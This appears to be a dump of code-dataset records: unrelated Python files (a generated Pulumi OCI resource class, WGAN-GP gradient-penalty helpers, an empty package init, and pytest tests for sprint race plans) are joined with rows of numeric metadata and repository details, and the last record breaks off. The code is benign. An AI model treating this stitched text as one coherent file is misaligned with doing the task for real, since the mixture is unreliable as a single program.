Optional[pulumi.Input[pulumi.InputType['ManagedInstanceManagementParentSoftwareSourceArgs']]] = None, status: Optional[pulumi.Input[str]] = None, updates_available: Optional[pulumi.Input[int]] = None) -> 'ManagedInstanceManagement': """ Get an existing ManagedInstanceManagement resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ManagedInstanceManagementChildSoftwareSourceArgs']]]] child_software_sources: (Updatable) list of child Software Sources attached to the Managed Instance :param pulumi.Input[str] compartment_id: OCID for the Compartment :param pulumi.Input[str] description: Information specified by the user about the managed instance :param pulumi.Input[str] display_name: User friendly name :param pulumi.Input[str] last_boot: Time at which the instance last booted :param pulumi.Input[str] last_checkin: Time at which the instance last checked in :param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ManagedInstanceManagementManagedInstanceGroupArgs']]]] managed_instance_groups: (Updatable) The ids of the managed instance groups of which this instance is a member. :param pulumi.Input[str] managed_instance_id: OCID for the managed instance :param pulumi.Input[str] os_kernel_version: Operating System Kernel Version :param pulumi.Input[str] os_name: Operating System Name :param pulumi.Input[str] os_version: Operating System Version :param pulumi.Input[pulumi.InputType['ManagedInstanceManagementParentSoftwareSourceArgs']] parent_software_source: (Updatable) the parent (base) Software Source attached to the Managed Instance :param pulumi.Input[str] status: status of the managed instance. :param pulumi.Input[int] updates_available: Number of updates available to be installed """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _ManagedInstanceManagementState.__new__(_ManagedInstanceManagementState) __props__.__dict__["child_software_sources"] = child_software_sources __props__.__dict__["compartment_id"] = compartment_id __props__.__dict__["description"] = description __props__.__dict__["display_name"] = display_name __props__.__dict__["last_boot"] = last_boot __props__.__dict__["last_checkin"] = last_checkin __props__.__dict__["managed_instance_groups"] = managed_instance_groups __props__.__dict__["managed_instance_id"] = managed_instance_id __props__.__dict__["os_kernel_version"] = os_kernel_version __props__.__dict__["os_name"] = os_name __props__.__dict__["os_version"] = os_version __props__.__dict__["parent_software_source"] = parent_software_source __props__.__dict__["status"] = status __props__.__dict__["updates_available"] = updates_available return ManagedInstanceManagement(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter(name="childSoftwareSources") def child_software_sources(self) -> pulumi.Output[Sequence['outputs.ManagedInstanceManagementChildSoftwareSource']]: """ (Updatable) list of child Software Sources attached to the Managed Instance """ return pulumi.get(self, "child_software_sources") @property @pulumi.getter(name="compartmentId") def compartment_id(self) -> pulumi.Output[str]: """ OCID for the Compartment """ return pulumi.get(self, "compartment_id") @property @pulumi.getter def description(self) -> pulumi.Output[str]: """ Information specified by the user about the managed instance """ return pulumi.get(self, "description") @property @pulumi.getter(name="displayName") def display_name(self) -> pulumi.Output[str]: """ User friendly name """ return pulumi.get(self, "display_name") @property @pulumi.getter(name="lastBoot") def last_boot(self) -> pulumi.Output[str]: """ Time at which the instance last booted """ return pulumi.get(self, "last_boot") @property @pulumi.getter(name="lastCheckin") def last_checkin(self) -> pulumi.Output[str]: """ Time at which the instance last checked in """ return pulumi.get(self, "last_checkin") @property @pulumi.getter(name="managedInstanceGroups") def managed_instance_groups(self) -> pulumi.Output[Sequence['outputs.ManagedInstanceManagementManagedInstanceGroup']]: """ (Updatable) The ids of the managed instance groups of which this instance is a member. """ return pulumi.get(self, "managed_instance_groups") @property @pulumi.getter(name="managedInstanceId") def managed_instance_id(self) -> pulumi.Output[str]: """ OCID for the managed instance """ return pulumi.get(self, "managed_instance_id") @property @pulumi.getter(name="osKernelVersion") def os_kernel_version(self) -> pulumi.Output[str]: """ Operating System Kernel Version """ return pulumi.get(self, "os_kernel_version") @property @pulumi.getter(name="osName") def os_name(self) -> pulumi.Output[str]: """ Operating System Name """ return pulumi.get(self, "os_name") @property @pulumi.getter(name="osVersion") def os_version(self) -> pulumi.Output[str]: """ Operating System Version """ return pulumi.get(self, "os_version") @property @pulumi.getter(name="parentSoftwareSource") def parent_software_source(self) -> pulumi.Output['outputs.ManagedInstanceManagementParentSoftwareSource']: """ (Updatable) the parent (base) Software Source attached to the Managed Instance """ return pulumi.get(self, "parent_software_source") @property @pulumi.getter def status(self) -> pulumi.Output[str]: """ status of the managed instance. """ return pulumi.get(self, "status") @property @pulumi.getter(name="updatesAvailable") def updates_available(self) -> pulumi.Output[int]: """ Number of updates available to be installed """ return pulumi.get(self, "updates_available")
51.507692
295
0.701195
3,653
33,480
6.16507
0.063236
0.100573
0.061587
0.041028
0.868834
0.841259
0.827406
0.814307
0.804227
0.764398
0
0.000038
0.210036
33,480
649
296
51.587057
0.851482
0.362216
0
0.575145
1
0
0.188053
0.117234
0
0
0
0
0
1
0.16474
false
0.00289
0.020231
0
0.289017
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
e33c41c14cd3bac181c2468da038e9e28ac73fcb
3,799
py
Python
functions.py
fjbriones/emotalkingface
4c5c7acda66c8ba78b202c75a73f7066ec2fda1c
[ "MIT" ]
28
2021-06-28T02:52:08.000Z
2022-03-29T02:53:49.000Z
functions.py
ramizf/emotalkingface
d3d838be705ea74d4165891720739d749aaf38a5
[ "MIT" ]
8
2021-08-19T00:40:06.000Z
2022-03-22T21:15:58.000Z
functions.py
ramizf/emotalkingface
d3d838be705ea74d4165891720739d749aaf38a5
[ "MIT" ]
11
2021-07-24T16:06:45.000Z
2022-03-30T07:45:01.000Z
def compute_gradient_penalty(D, real_samples, fake_samples, image_c, z_speech, noise): """Calculates the gradient penalty loss for WGAN GP""" # Random weight term for interpolation between real and fake samples alpha = torch.FloatTensor(np.random.random((real_samples.size(0), 1, 1, 1, 1))).to(params['DEVICE']) # Get random interpolation between real and fake samples interpolates = (alpha * real_samples + ((1 - alpha) * fake_samples)).requires_grad_(True) d_interpolates = D(image_c, interpolates, z_speech, noise) fake = Variable(torch.FloatTensor(d_interpolates.shape).fill_(1.0), requires_grad=False).to(params['DEVICE']) # Get gradient w.r.t. interpolates gradients = torch.autograd.grad( outputs=d_interpolates, inputs=interpolates, grad_outputs=fake, create_graph=True, retain_graph=True, only_inputs=True, ) gradient_penalty = 0#gradients[0].view(gradients[0].size(0), -1) for grad in gradients:#[1:]: gradient_penalty += ((grad.norm(2, dim=1) - 1) ** 2).mean()#torch.cat((grads, grad.view(grad.size(0), -1)), 1) # gradient_penalty = ((grads.norm(2, dim=1) - 1) ** 2).mean() return gradient_penalty def compute_gradient_penalty_F(D, real_samples, fake_samples, image_c): """Calculates the gradient penalty loss for WGAN GP""" # Random weight term for interpolation between real and fake samples alpha = torch.FloatTensor(np.random.random((real_samples.size(0), 1, 1, 1, 1))).to(params['DEVICE']) # Get random interpolation between real and fake samples interpolates = (alpha * real_samples + ((1 - alpha) * fake_samples)).requires_grad_(True) d_interpolates = D(interpolates, image_c) fake = Variable(torch.FloatTensor(d_interpolates.shape).fill_(1.0), requires_grad=False).to(params['DEVICE']) # Get gradient w.r.t. interpolates gradients = torch.autograd.grad( outputs=d_interpolates, inputs=interpolates, grad_outputs=fake, create_graph=True, retain_graph=True, only_inputs=True, ) gradient_penalty = 0#gradients[0].view(gradients[0].size(0), -1) for grad in gradients:#[1:]: gradient_penalty += ((grad.norm(2, dim=1) - 1) ** 2).mean()#torch.cat((grads, grad.view(grad.size(0), -1)), 1) # gradient_penalty = ((grads.norm(2, dim=1) - 1) ** 2).mean() return gradient_penalty def compute_grad_P(D, video, speech): batch_size = video.size(0) d_out = D(video.requires_grad_(True), speech) # print(d_out.shape, torch.ones(d_out.size()).to(params['DEVICE']).shape) grad_dout = torch.autograd.grad( outputs= d_out, inputs= video, grad_outputs= torch.ones(d_out.size()).to(params['DEVICE']), create_graph=True, retain_graph=True, only_inputs=True, ) grad_norm = 0 for grad in grad_dout: grad = grad.view(grad.size(0), -1) grad_norm += grad.norm(2, dim=1).mean() return grad_norm return grad_norm def compute_grad_F(D, video, image_c): batch_size = video.size(0) d_out = D(video.requires_grad_(True), image_c) # print(d_out.shape, torch.ones(d_out.size()).to(params['DEVICE']).shape) grad_dout = torch.autograd.grad( outputs= d_out, inputs= video, grad_outputs= torch.ones(d_out.size()).to(params['DEVICE']), create_graph=True, retain_graph=True, only_inputs=True, ) grad_norm = 0 for grad in grad_dout: grad = grad.view(grad.size(0), -1) grad_norm += grad.norm(2, dim=1).mean() return grad_norm
45.22619
123
0.628323
514
3,799
4.464981
0.140078
0.078431
0.020915
0.023529
0.92549
0.92549
0.92549
0.900218
0.900218
0.900218
0
0.021401
0.237431
3,799
84
124
45.22619
0.770797
0.228481
0
0.820896
0
0
0.012752
0
0
0
0
0
0
1
0.059701
false
0
0
0
0.134328
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
e33f7ab813a2808e0701f6a15ee33b83abd3fc5f
200
py
Python
superstructure/metastructure/__init__.py
MultifokalHirn/superstructure
61672613da627d8c1bbd9250ca83df1d99bb1194
[ "MIT" ]
3
2020-06-06T13:03:25.000Z
2021-03-19T08:32:23.000Z
superstructure/metastructure/__init__.py
MultifokalHirn/superstructure
61672613da627d8c1bbd9250ca83df1d99bb1194
[ "MIT" ]
309
2020-06-06T14:49:03.000Z
2022-03-31T00:02:09.000Z
superstructure/metastructure/__init__.py
MultifokalHirn/superstructure
61672613da627d8c1bbd9250ca83df1d99bb1194
[ "MIT" ]
1
2020-06-09T11:18:00.000Z
2020-06-09T11:18:00.000Z
"""metastructure: package for superstructure.""" from .form import * # noqa from .geist import * # noqa from .grundbegriffe import * # noqa from .core import * # noqa from .natur import * # noqa
28.571429
48
0.69
24
200
5.75
0.5
0.362319
0.405797
0
0
0
0
0
0
0
0
0
0.195
200
6
49
33.333333
0.857143
0.34
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
e345e9cfa054241f9fc05f7f6a625ed81f66e20c
28,260
py
Python
tests/unit/test_raceplans_individual_sprint_ranked.py
langrenn-sprint/race-service
a5f3ca8d381e8e4d81bae25cccee0cb47b64400b
[ "Apache-2.0" ]
null
null
null
tests/unit/test_raceplans_individual_sprint_ranked.py
langrenn-sprint/race-service
a5f3ca8d381e8e4d81bae25cccee0cb47b64400b
[ "Apache-2.0" ]
62
2021-09-14T18:47:38.000Z
2022-03-21T22:14:20.000Z
tests/unit/test_raceplans_individual_sprint_ranked.py
langrenn-sprint/race-service
a5f3ca8d381e8e4d81bae25cccee0cb47b64400b
[ "Apache-2.0" ]
null
null
null
"""Unit test cases for the event-service module.""" from datetime import datetime from typing import Any, Dict, List import pytest from race_service.commands.raceplans_individual_sprint import ( calculate_raceplan_individual_sprint, ) from race_service.models import IndividualSprintRace, Raceplan # --- Individual Sprint --- @pytest.fixture async def competition_format_individual_sprint() -> dict: """A competition_format object for testing.""" return { "name": "Individual Sprint", "starting_order": "Draw", "start_procedure": "Heat Start", "time_between_groups": "00:15:00", "time_between_rounds": "00:10:00", "time_between_heats": "00:02:30", "max_no_of_contestants_in_raceclass": 80, "max_no_of_contestants_in_race": 10, "datatype": "individual_sprint", } @pytest.fixture async def event_individual_sprint() -> dict: """An event object for testing.""" return { "id": "290e70d5-0933-4af0-bb53-1d705ba7eb95", "name": "Oslo Skagen sprint", "competition_format": "Individual Sprint", "date_of_event": "2021-09-29", "time_of_event": "09:00:00", "organiser": "Lyn Ski", "webpage": "https://example.com", "information": "Testarr for å teste den nye løysinga.", } @pytest.fixture async def raceclasses_individual_sprint_10_contestants() -> List[Dict[str, Any]]: """A raceclass object for testing - 10 contestants.""" return [ { "id": "190e70d5-0933-4af0-bb53-1d705ba7eb95", "name": "G11", "ageclasses": ["G 11 år"], "event_id": "e90e70d5-0933-4af0-bb53-1d705ba7eb95", "no_of_contestants": 10, "group": 1, "order": 1, "ranking": True, }, ] @pytest.fixture async def raceclasses_individual_sprint_17_contestants() -> List[Dict[str, Any]]: """A raceclass object for testing - 17 contestants.""" return [ { "id": "190e70d5-0933-4af0-bb53-1d705ba7eb95", "name": "J11", "ageclasses": ["J 11 år"], "event_id": "e90e70d5-0933-4af0-bb53-1d705ba7eb95", "no_of_contestants": 17, "group": 1, "order": 1, "ranking": True, }, ] @pytest.fixture async def raceclasses_individual_sprint_27_contestants() -> List[Dict[str, Any]]: """An raceclasses object for testing.""" return [ { "id": "290e70d5-0933-4af0-bb53-1d705ba7eb95", "name": "J15", "ageclasses": ["J 15 år"], "event_id": "e90e70d5-0933-4af0-bb53-1d705ba7eb95", "no_of_contestants": 27, "group": 1, "order": 1, "ranking": True, }, ] @pytest.fixture async def expected_raceplan_individual_sprint_10_contestants( event_individual_sprint: dict, ) -> Raceplan: """Create a mock raceplan object - 10 contestants.""" raceplan = Raceplan(event_id=event_individual_sprint["id"], races=list()) raceplan.id = "190e70d5-0933-4af0-bb53-1d705ba7eb95" raceplan.no_of_contestants = 10 return raceplan @pytest.fixture async def expected_raceplan_individual_sprint_17_contestants( event_individual_sprint: dict, ) -> Raceplan: """Create a mock raceplan object - 17 contestants.""" raceplan = Raceplan(event_id=event_individual_sprint["id"], races=list()) raceplan.id = "290e70d5-0933-4af0-bb53-1d705ba7eb95" raceplan.no_of_contestants = 17 return raceplan @pytest.fixture async def expected_raceplan_individual_sprint_27_contestants( event_individual_sprint: dict, ) -> Raceplan: """Create a mock raceplan object - 27 contestants.""" raceplan = Raceplan(event_id=event_individual_sprint["id"], races=list()) raceplan.id = "390e70d5-0933-4af0-bb53-1d705ba7eb95" raceplan.no_of_contestants = 27 return raceplan @pytest.fixture async def expected_races_individual_sprint_10_contestants( competition_format_individual_sprint: dict, event_individual_sprint: dict, ) -> List[IndividualSprintRace]: """Create a mock raceplan object, races - 10 contestants.""" races: List[IndividualSprintRace] = [] races.append( IndividualSprintRace( id="", order=1, raceclass="G11", round="Q", index="", heat=1, start_time=datetime.fromisoformat("2021-09-29 09:00:00"), no_of_contestants=5, max_no_of_contestants=competition_format_individual_sprint[ "max_no_of_contestants_in_race" ], rule={"F": {"A": 4, "B": float("inf")}}, event_id=event_individual_sprint["id"], raceplan_id="", start_entries=[], results={}, ) ) races.append( IndividualSprintRace( id="", order=2, raceclass="G11", round="Q", index="", heat=2, start_time=datetime.fromisoformat("2021-09-29 09:02:30"), no_of_contestants=5, max_no_of_contestants=competition_format_individual_sprint[ "max_no_of_contestants_in_race" ], rule={"F": {"A": 4, "B": float("inf")}}, event_id=event_individual_sprint["id"], raceplan_id="", start_entries=[], results={}, ) ) races.append( IndividualSprintRace( id="", order=3, raceclass="G11", round="F", index="B", heat=1, start_time=datetime.fromisoformat("2021-09-29 09:12:30"), no_of_contestants=2, max_no_of_contestants=competition_format_individual_sprint[ "max_no_of_contestants_in_race" ], rule={}, event_id=event_individual_sprint["id"], raceplan_id="", start_entries=[], results={}, ) ) races.append( IndividualSprintRace( id="", order=4, raceclass="G11", round="F", index="A", heat=1, start_time=datetime.fromisoformat("2021-09-29 09:15:00"), no_of_contestants=8, max_no_of_contestants=competition_format_individual_sprint[ "max_no_of_contestants_in_race" ], rule={}, event_id=event_individual_sprint["id"], raceplan_id="", start_entries=[], results={}, ) ) return races @pytest.fixture async def expected_races_individual_sprint_17_contestants( competition_format_individual_sprint: dict, event_individual_sprint: dict, ) -> List[IndividualSprintRace]: """Create a mock raceplan object, races - 17 contestants.""" races: List[IndividualSprintRace] = [] races.append( IndividualSprintRace( id="", order=1, raceclass="J11", round="Q", index="", heat=1, start_time=datetime.fromisoformat("2021-09-29 09:00:00"), no_of_contestants=6, max_no_of_contestants=competition_format_individual_sprint[ "max_no_of_contestants_in_race" ], rule={"S": {"A": 5, "C": 0}, "F": {"C": float("inf")}}, event_id=event_individual_sprint["id"], raceplan_id="", start_entries=[], results={}, ) ) races.append( IndividualSprintRace( id="", order=2, raceclass="J11", round="Q", index="", heat=2, start_time=datetime.fromisoformat("2021-09-29 09:02:30"), no_of_contestants=6, max_no_of_contestants=competition_format_individual_sprint[ "max_no_of_contestants_in_race" ], rule={"S": {"A": 5, "C": 0}, "F": {"C": float("inf")}}, event_id=event_individual_sprint["id"], raceplan_id="", start_entries=[], results={}, ) ) races.append( IndividualSprintRace( id="", order=3, raceclass="J11", round="Q", index="", heat=3, start_time=datetime.fromisoformat("2021-09-29 09:05:00"), no_of_contestants=5, max_no_of_contestants=competition_format_individual_sprint[ "max_no_of_contestants_in_race" ], rule={"S": {"A": 5, "C": 0}, "F": {"C": float("inf")}}, event_id=event_individual_sprint["id"], raceplan_id="", start_entries=[], results={}, ) ) races.append( IndividualSprintRace( id="", order=4, raceclass="J11", round="S", index="A", heat=1, start_time=datetime.fromisoformat("2021-09-29 09:15:00"), no_of_contestants=8, max_no_of_contestants=competition_format_individual_sprint[ "max_no_of_contestants_in_race" ], rule={"F": {"A": 4, "B": float("inf")}}, event_id=event_individual_sprint["id"], raceplan_id="", start_entries=[], results={}, ) ) races.append( IndividualSprintRace( id="", order=5, raceclass="J11", round="S", index="A", heat=2, start_time=datetime.fromisoformat("2021-09-29 09:17:30"), no_of_contestants=7, max_no_of_contestants=competition_format_individual_sprint[ "max_no_of_contestants_in_race" ], rule={"F": {"A": 4, "B": float("inf")}}, event_id=event_individual_sprint["id"], raceplan_id="", start_entries=[], results={}, ) ) races.append( IndividualSprintRace( id="", order=6, raceclass="J11", round="F", index="C", heat=1, start_time=datetime.fromisoformat("2021-09-29 09:27:30"), no_of_contestants=2, max_no_of_contestants=competition_format_individual_sprint[ "max_no_of_contestants_in_race" ], rule={}, event_id=event_individual_sprint["id"], raceplan_id="", start_entries=[], results={}, ) ) races.append( IndividualSprintRace( id="", order=7, raceclass="J11", round="F", index="B", heat=1, start_time=datetime.fromisoformat("2021-09-29 09:30:00"), no_of_contestants=7, max_no_of_contestants=competition_format_individual_sprint[ "max_no_of_contestants_in_race" ], rule={}, event_id=event_individual_sprint["id"], raceplan_id="", start_entries=[], results={}, ) ) races.append( IndividualSprintRace( id="", order=8, raceclass="J11", round="F", index="A", heat=1, start_time=datetime.fromisoformat("2021-09-29 09:32:30"), no_of_contestants=8, max_no_of_contestants=competition_format_individual_sprint[ "max_no_of_contestants_in_race" ], rule={}, event_id=event_individual_sprint["id"], raceplan_id="", start_entries=[], results={}, ) ) return races @pytest.fixture async def expected_races_individual_sprint_27_contestants( competition_format_individual_sprint: dict, event_individual_sprint: dict, ) -> List[IndividualSprintRace]: """Create a mock raceplan object, races - 27 contestants.""" races: List[IndividualSprintRace] = [] races.append( IndividualSprintRace( id="", order=1, raceclass="J15", round="Q", index="", heat=1, start_time=datetime.fromisoformat("2021-09-29 09:00:00"), no_of_contestants=7, max_no_of_contestants=competition_format_individual_sprint[ "max_no_of_contestants_in_race" ], rule={"S": {"A": 4, "C": float("inf")}}, event_id=event_individual_sprint["id"], raceplan_id="", start_entries=[], results={}, ) ) races.append( IndividualSprintRace( id="", order=2, raceclass="J15", round="Q", index="", heat=2, start_time=datetime.fromisoformat("2021-09-29 09:02:30"), no_of_contestants=7, max_no_of_contestants=competition_format_individual_sprint[ "max_no_of_contestants_in_race" ], rule={"S": {"A": 4, "C": float("inf")}}, event_id=event_individual_sprint["id"], raceplan_id="", start_entries=[], results={}, ) ) races.append( IndividualSprintRace( id="", order=3, raceclass="J15", round="Q", index="", heat=3, start_time=datetime.fromisoformat("2021-09-29 09:05:00"), no_of_contestants=7, max_no_of_contestants=competition_format_individual_sprint[ "max_no_of_contestants_in_race" ], rule={"S": {"A": 4, "C": float("inf")}}, event_id=event_individual_sprint["id"], raceplan_id="", start_entries=[], results={}, ) ) races.append( IndividualSprintRace( id="", order=4, raceclass="J15", round="Q", index="", heat=4, start_time=datetime.fromisoformat("2021-09-29 09:07:30"), no_of_contestants=6, max_no_of_contestants=competition_format_individual_sprint[ "max_no_of_contestants_in_race" ], rule={"S": {"A": 4, "C": float("inf")}}, event_id=event_individual_sprint["id"], raceplan_id="", start_entries=[], results={}, ) ) races.append( IndividualSprintRace( id="", order=5, raceclass="J15", round="S", index="C", heat=1, start_time=datetime.fromisoformat("2021-09-29 09:17:30"), no_of_contestants=6, max_no_of_contestants=competition_format_individual_sprint[ "max_no_of_contestants_in_race" ], rule={"F": {"C": 4}}, event_id=event_individual_sprint["id"], raceplan_id="", start_entries=[], results={}, ) ) races.append( IndividualSprintRace( id="", order=6, raceclass="J15", round="S", index="C", heat=2, start_time=datetime.fromisoformat("2021-09-29 09:20:00"), no_of_contestants=5, max_no_of_contestants=competition_format_individual_sprint[ "max_no_of_contestants_in_race" ], rule={"F": {"C": 4}}, event_id=event_individual_sprint["id"], raceplan_id="", start_entries=[], results={}, ) ) races.append( IndividualSprintRace( id="", order=7, raceclass="J15", round="S", index="A", heat=1, start_time=datetime.fromisoformat("2021-09-29 09:22:30"), no_of_contestants=8, max_no_of_contestants=competition_format_individual_sprint[ "max_no_of_contestants_in_race" ], rule={"F": {"A": 4, "B": float("inf")}}, event_id=event_individual_sprint["id"], raceplan_id="", start_entries=[], results={}, ) ) races.append( IndividualSprintRace( id="", order=8, raceclass="J15", round="S", index="A", heat=2, start_time=datetime.fromisoformat("2021-09-29 09:25:00"), no_of_contestants=8, max_no_of_contestants=competition_format_individual_sprint[ "max_no_of_contestants_in_race" ], rule={"F": {"A": 4, "B": float("inf")}}, event_id=event_individual_sprint["id"], raceplan_id="", start_entries=[], results={}, ) ) races.append( IndividualSprintRace( id="", order=9, raceclass="J15", round="F", index="C", heat=1, start_time=datetime.fromisoformat("2021-09-29 09:35:00"), no_of_contestants=8, max_no_of_contestants=competition_format_individual_sprint[ "max_no_of_contestants_in_race" ], rule={}, event_id=event_individual_sprint["id"], raceplan_id="", start_entries=[], results={}, ) ) races.append( IndividualSprintRace( id="", order=10, raceclass="J15", round="F", index="B", heat=1, start_time=datetime.fromisoformat("2021-09-29 09:37:30"), no_of_contestants=8, max_no_of_contestants=competition_format_individual_sprint[ "max_no_of_contestants_in_race" ], rule={}, event_id=event_individual_sprint["id"], raceplan_id="", start_entries=[], results={}, ) ) races.append( IndividualSprintRace( id="", order=11, raceclass="J15", round="F", index="A", heat=1, start_time=datetime.fromisoformat("2021-09-29 09:40:00"), no_of_contestants=8, max_no_of_contestants=competition_format_individual_sprint[ "max_no_of_contestants_in_race" ], rule={}, event_id=event_individual_sprint["id"], raceplan_id="", start_entries=[], results={}, ) ) return races @pytest.mark.unit @pytest.mark.asyncio async def test_calculate_raceplan_individual_sprint_10_contestants( competition_format_individual_sprint: dict, event_individual_sprint: dict, raceclasses_individual_sprint_10_contestants: List[dict], expected_raceplan_individual_sprint_10_contestants: Raceplan, expected_races_individual_sprint_10_contestants: List[IndividualSprintRace], ) -> None: """Should return a tuple of Raceplan and races equal to the expected raceplan.""" raceplan, races = await calculate_raceplan_individual_sprint( event_individual_sprint, competition_format_individual_sprint, raceclasses_individual_sprint_10_contestants, ) assert type(raceplan) is Raceplan assert raceplan.id is None assert ( raceplan.event_id == expected_raceplan_individual_sprint_10_contestants.event_id ) # Check that no_of_contestants corresponds to the number given in raceclasses: assert ( raceplan.no_of_contestants == expected_raceplan_individual_sprint_10_contestants.no_of_contestants ) # Check that all the contestants have been given a Quarterfinal: assert ( sum(race.no_of_contestants for race in races if race.round == "Q") == raceplan.no_of_contestants ) # Check that the sum number of contestants are the same in round Q: assert sum(race.no_of_contestants for race in races if race.round == "Q") == sum( race.no_of_contestants for race in expected_races_individual_sprint_10_contestants if race.round == "Q" ), "wrong sum no_of_contestants in round Q" # Check that the sum number of contestants are the same in round S: assert sum(race.no_of_contestants for race in races if race.round == "S") == sum( race.no_of_contestants for race in expected_races_individual_sprint_10_contestants if race.round == "S" ), "wrong sum no_of_contestants in round S" # Check that the sum number of contestants are the same in round F: print_races(races) assert sum(race.no_of_contestants for race in races if race.round == "F") == sum( race.no_of_contestants for race in expected_races_individual_sprint_10_contestants if race.round == "F" ), "wrong sum no_of_contestants in round F" # Check that there are correct number of races: assert len(raceplan.races) == 0 assert len(races) == len(expected_races_individual_sprint_10_contestants) # Check that the two race lists match: print("Calculated raceplan:") i = 0 for race in races: print(f"[{i}]: {race}", sep="\n") i += 1 print("----") print("Expected raceplan:") i = 0 for race in expected_races_individual_sprint_10_contestants: print(f"[{i}]: {race}", sep="\n") i += 1 i = 0 for race in races: assert ( race == expected_races_individual_sprint_10_contestants[i] ), f"race with index {i} did not match" i += 1 @pytest.mark.unit @pytest.mark.asyncio async def test_calculate_raceplan_individual_sprint_27_contestants( competition_format_individual_sprint: dict, event_individual_sprint: dict, raceclasses_individual_sprint_27_contestants: List[dict], expected_raceplan_individual_sprint_27_contestants: Raceplan, expected_races_individual_sprint_27_contestants: List[IndividualSprintRace], ) -> None: """Should return a tuple of Raceplan and races equal to the expected raceplan.""" raceplan, races = await calculate_raceplan_individual_sprint( event_individual_sprint, competition_format_individual_sprint, raceclasses_individual_sprint_27_contestants, ) assert type(raceplan) is Raceplan assert raceplan.id is None assert ( raceplan.event_id == expected_raceplan_individual_sprint_27_contestants.event_id ) # Check that no_of_contestants corresponds to the number given in raceclasses: assert ( raceplan.no_of_contestants == expected_raceplan_individual_sprint_27_contestants.no_of_contestants ) # Check that all the contestants have been given a Quarterfinal: assert ( sum(race.no_of_contestants for race in races if race.round == "Q") == raceplan.no_of_contestants ) # Check that the sum number of contestants are the same in round Q: assert sum(race.no_of_contestants for race in races if race.round == "Q") == sum( race.no_of_contestants for race in expected_races_individual_sprint_27_contestants if race.round == "Q" ), "wrong sum no_of_contestants in round Q" # Check that the sum number of contestants are the same in round S: assert sum(race.no_of_contestants for race in races if race.round == "S") == sum( race.no_of_contestants for race in expected_races_individual_sprint_27_contestants if race.round == "S" ), "wrong sum no_of_contestants in round S" # Check that the sum number of contestants are the same in round F: assert sum(race.no_of_contestants for race in races if race.round == "F") == sum( race.no_of_contestants for race in expected_races_individual_sprint_27_contestants if race.round == "F" ), "wrong sum no_of_contestants in round F" # Check that there are correct number of races: assert len(raceplan.races) == 0 assert len(races) == len(expected_races_individual_sprint_27_contestants) # Check that the two race lists match: print("Calculated raceplan:") i = 0 for race in races: print(f"[{i}]: {race}", sep="\n") i += 1 print("----") print("Expected raceplan:") i = 0 for race in expected_races_individual_sprint_27_contestants: print(f"[{i}]: {race}", sep="\n") i += 1 i = 0 for race in races: assert ( race == expected_races_individual_sprint_27_contestants[i] ), f"race with index {i} did not match" i += 1 @pytest.mark.unit @pytest.mark.asyncio async def test_calculate_raceplan_individual_sprint_17_contestants( competition_format_individual_sprint: dict, event_individual_sprint: dict, raceclasses_individual_sprint_17_contestants: List[dict], expected_raceplan_individual_sprint_17_contestants: Raceplan, expected_races_individual_sprint_17_contestants: List[IndividualSprintRace], ) -> None: """Should return a tuple of Raceplan and races equal to the expected raceplan.""" raceplan, races = await calculate_raceplan_individual_sprint( event_individual_sprint, competition_format_individual_sprint, raceclasses_individual_sprint_17_contestants, ) assert type(raceplan) is Raceplan assert raceplan.id is None assert ( raceplan.event_id == expected_raceplan_individual_sprint_17_contestants.event_id ) # Check that no_of_contestants corresponds to the number given in raceclasses: assert ( raceplan.no_of_contestants == expected_raceplan_individual_sprint_17_contestants.no_of_contestants ) # Check that all the contestants have been given a Quarterfinal: assert ( sum(race.no_of_contestants for race in races if race.round == "Q") == raceplan.no_of_contestants ) # Check that the sum number of contestants are the same in round Q: assert sum(race.no_of_contestants for race in races if race.round == "Q") == sum( race.no_of_contestants for race in expected_races_individual_sprint_17_contestants if race.round == "Q" ), "wrong sum no_of_contestants in round Q" # Check that the sum number of contestants are the same in round S: assert sum(race.no_of_contestants for race in races if race.round == "S") == sum( race.no_of_contestants for race in expected_races_individual_sprint_17_contestants if race.round == "S" ), "wrong sum no_of_contestants in round S" # Check that the sum number of contestants are the same in round F: assert sum(race.no_of_contestants for race in races if race.round == "F") == sum( race.no_of_contestants for race in expected_races_individual_sprint_17_contestants if race.round == "F" ), "wrong sum no_of_contestants in round F" # Check that there are correct number of races: assert len(raceplan.races) == 0 assert len(races) == len(expected_races_individual_sprint_17_contestants) # Check that the two race lists match: print("Calculated raceplan:") i = 0 for race in races: print(f"[{i}]: {race}", sep="\n") i += 1 print("----") print("Expected raceplan:") i = 0 for race in expected_races_individual_sprint_17_contestants: print(f"[{i}]: {race}", sep="\n") i += 1 i = 0 for race in races: assert ( race == expected_races_individual_sprint_17_contestants[i] ), f"race with index {i} did not match" i += 1 # helpers def print_races(races: List[IndividualSprintRace]) -> None: """Print races in given round.""" print("--- races ---") for race in races: print(f"{race.order}: {race}\n")
32.482759
88
0.580467
3,126
28,260
4.964811
0.058541
0.13299
0.115013
0.05567
0.946907
0.936662
0.914111
0.895168
0.879253
0.871778
0
0.044268
0.310156
28,260
869
89
32.520138
0.751834
0.048514
0
0.782269
0
0
0.117177
0.041849
0
0
0
0
0.043025
1
0.001304
false
0
0.006519
0
0.022164
0.232073
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
e36e23dde27f50365d9fe3ba6c9d2850dd0fc651
259
py
Python
python/8Kyu/Opposites atract.py
athasv/Codewars-data
5e106466e709fd776f23585ad9f652d0d65b48d3
[ "MIT" ]
null
null
null
python/8Kyu/Opposites atract.py
athasv/Codewars-data
5e106466e709fd776f23585ad9f652d0d65b48d3
